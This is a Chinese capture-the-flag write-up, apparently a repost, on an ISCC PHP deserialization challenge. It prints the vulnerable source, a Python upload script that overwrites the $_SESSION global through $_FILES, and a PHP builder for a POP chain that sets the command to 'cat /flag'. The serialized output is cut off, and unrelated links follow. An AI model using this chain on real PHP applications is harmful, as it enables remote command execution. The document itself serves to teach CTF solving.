ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,

Posted Zero_Adam

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,相关的知识,希望对你有一定的参考价值。

一、当时做,不会做,分析不出来。看WP

<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;


            if(is_uploaded_file($iscc_file['tmp_name'])) {

                $check = @getimagesize($iscc_file["tmp_name"]);

                if($check !== false) {

                    $target_dir = "/var/tmp/";
                    $target_file = $target_dir . randstr(10);

                    if (file_exists($target_file)) {
                        echo "想啥呢?有东西了……<br>";
                        finalize();
                        exit;
                    }

                    if ($iscc_file["size"] > 500000) {
                        echo "东西塞不进去~<br>";
                        finalize();
                        exit;
                    }

                    if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
                        echo "我拿到了!<br>";
                        $iscc_file = $target_file;
                        $status = "upload_ok";
                    } else {
                        echo "拿不到:(<br>";
                        finalize();
                        exit;
                    }

                } else {
                    finalize();
                    exit;
                }

            } else {
                echo "你真是个天才!<br>";
                finalize();
                exit;
            }
        }
    }
}

class ISCC_ResetCMD {

    protected $new_cmd = "echo '新新世界,发号施令!'";

    function __wakeup() {
        global $cmd;
        global $is_upload;
        global $status;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;

        if(!isset($this->new_cmd)) {
            $status = "error";
            $error = "你这罐子是空的!";
            throw new Exception($error);
        }

        if(!is_string($this->new_cmd)) {
            $status = "error";
            $error = '东西都没给对!';
            throw new Exception($error);
        }
    }

    function __destruct() {
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }
    }

}

class ISCC_Login {

    function __wakeup() {
        $this->login();
    }

    function __destruct() {
        $this->logout();
    }

    function login() {
        $flag = file_get_contents("/flag");
        $pAssM0rd = hash("sha256", $flag);
        if($_GET['pAssM0rd'] === $pAssM0rd)
            $_SESSION['name'] = "isccIsCciScc1scc";
    }

    function logout() {
        global $status;
        unset($_SESSION['name']);
        $status = "finish";
    }

}

class ISCC_TellMeTruth {

    function __wakeup() {
        if(!isset($_SESSION['name']))
            $_SESSION['name'] = randstr(14);
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

    function __destruct() {
        echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
    }

}

class ISCC_Command {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $_SESSION['name'] = randstr(14);
        $is_upload = false;
        $cmd = "whoami";
    }

    function __toString() {
        global $cmd;
        return "看看你干的好事: {$cmd} <br>";
    }

    function __destruct() {
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
            echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        }
    }

}

function randstr($len)
{
    $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
    $randstring = '';
    for ($i = 0; $i < $len; $i++) {
        $randstring .= $characters[rand(0, strlen($characters))];
    }
    return $randstring;
}

function waf($s) {
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;
}

function finalize() {
    $cmd = "";
    $is_upload = false;
    unset($_SESSION);
    @unlink($iscc_file);
    $status = "finish";
    echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
    $whatareyounongshane = $_GET['whatareyounongshane'];
    switch ($whatareyounongshane) {
        case "src":
            highlight_file(__FILE__);
            break;
        case "cmd":
            echo "想越级干好事?还是有门的……";
            header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
            break;
        case "reset":
            echo "几辈子积累的好运就在这时~:p";
            header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
            break;
        case "upload":
            $resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
  <input type="file" name="iscc_file">
  <input type="submit" value="Upload Image" name="submit">
</form>
EOF;
            echo $resp;
            break;
        case "tellmetruth":
            echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
            header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
            break;
        default:
            echo "空空如也就是我!";
    }
    finalize();
    die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

    $wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

    if($goodshit = @unserialize($wtf)) {
        $is_unser_finished = true;
    }

    if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
        finalize();
    die("所以哪个ISCC是真的?<br>");
}
?>

ISCC_Command类里面的__destruct方法可以执行cmd命令

function __destruct() {
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
            echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
            echo "<span style='color:blue'>";
            @system($cmd);
            echo "</span>";
        }
    }

然后在ISCC_ResetCMD类里面对cmd进行重新赋值

class ISCC_ResetCMD {
    protected $new_cmd = "echo '新新世界,发号施令!'";
    function __destruct() {
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }
    }

}

但是要求:这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1sccSESSION。也就是$_SESSION['name']='isccIsCciScc1scc'才行,。那么就要覆盖session变量,

if($_SESSION['name'] === 'isccIsCciScc1scc') {
            $cmd = $this->new_cmd;
        }

ISCC__Upload类:

class ISCC_Upload {

    function __wakeup() {
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;

其中$GLOBALS['key'] = value;为全局变量的覆盖,当$is_uploadtrue的时候,就会触发这个循环,可以实现$_SESSION的变量覆盖。

而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);会把他设置成true.。在其他的类中,都将$is_upload设置为了false。所以就在这里操作。

这里了解一下$_FILES$_FILES通过TTP POST方式上传到当前脚本的项目的数组。
数组内容如下:

$_FILES['userfile']['name']       #客户端机器文件的原名称。
$_FILES['userfile']['type']      #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']      #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name']    #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error']       #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

传入这样的脚本,就能够实现session数组变量的覆盖了。 后面又分析,很细致的分析。

import requests
url="http://ip/aa/test1.php"
files={
    'iscc_file': ("b", 'content', 'bbb'),
    "_SESSION":("isccIsCciScc1scc","123")
}
headers={
    'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url,files=files)
print(r.text)

那么来了:

我们要先执行upload的destruct来改变session。然后是reset的destruct,重写cmd。然后是comand的destruct。执行命令。

这里,顺序要倒过来看下面:序列化的顺序和反序列化调用destruct的顺序是相反的。

在这里插入图片描述

我们要在ISCC__Upload类执行__destruct之前,is_uploadtrue

这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链 --------------》?????

先是upload的destruct,然后是reset的destruct,然后是comand的destruct、

由于有一个waf函数,不能出现*号。

function waf($s) {
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;
}

但是ISCC_ResetCMD类的$new_cmd的属性是protected的,序列化后会带有*,这就需要SCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::

这个数组,就是用来控制顺序的。

<?php
class ISCC_Command {

}
class ISCC_ResetCMD {

    protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
}
$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;

结果是这个:
protected属性,*两边各有一个\\00,不可见字符,各占一个位置,

a:3:{s:1:"a";O:11:"ISCC_Upload":0:<

以上是关于ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,的主要内容,如果未能解决你的问题,请参考以下文章

用JavaScript实现字符串的反序输出?

JSON中的反序列化和序列化是啥?

PHP反序列化中过滤函数使用不当导致的对象注入

2:如何反序迭代一个序列(字符串,列表,元组)

C语言怎么反序输出

R语言使用scales包的hue_pal函数获取ggplot2任何级别的离散色码使用scales包的hue_pal函数获取ggplot2任何级别的反序(reverse)离散色码